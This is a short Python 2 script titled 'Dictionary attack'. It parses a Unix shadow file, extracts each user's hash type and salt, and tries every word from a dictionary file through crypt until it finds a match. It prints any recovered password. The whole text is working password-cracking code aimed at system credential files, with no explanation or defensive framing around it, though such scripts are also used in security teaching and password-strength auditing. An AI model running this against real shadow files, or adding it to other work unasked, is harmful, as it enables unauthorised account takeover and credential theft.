Dictionary attack

#/etc/shadow
#MD5/SHA256/SHA512
import crypt
def testPass(hashType, salt, hash, saltedHash):
    print "With salt: $",salt
    dictFile = open('dictionary.txt','r')
    for word in dictFile.readlines():
        word = word.strip('\n')
        saltFor = '$' + hashType + '$' + salt
        cryptWord = crypt.crypt(word,saltFor)
        if (cryptWord == saltedHash):
            print "[+]Found Password: "+word+"\n"
            return
    print "[-] Password Not Found.\n"
    return
def main():
    shadowFile = open('shadow')
    for line in shadowFile.readlines():
        if ":" in line:
            user = line.split(':')[0]
            saltedHash = line.split(':')[1]
            hashType = saltedHash.split('$')[1]
            salt = saltedHash.split('$')[2]
            hash = saltedHash.split('$')[3]
            print 'dict attack on user: ', user
            testPass(hashType, salt, hash, saltedHash)
if __name__ == "__main__":
    main()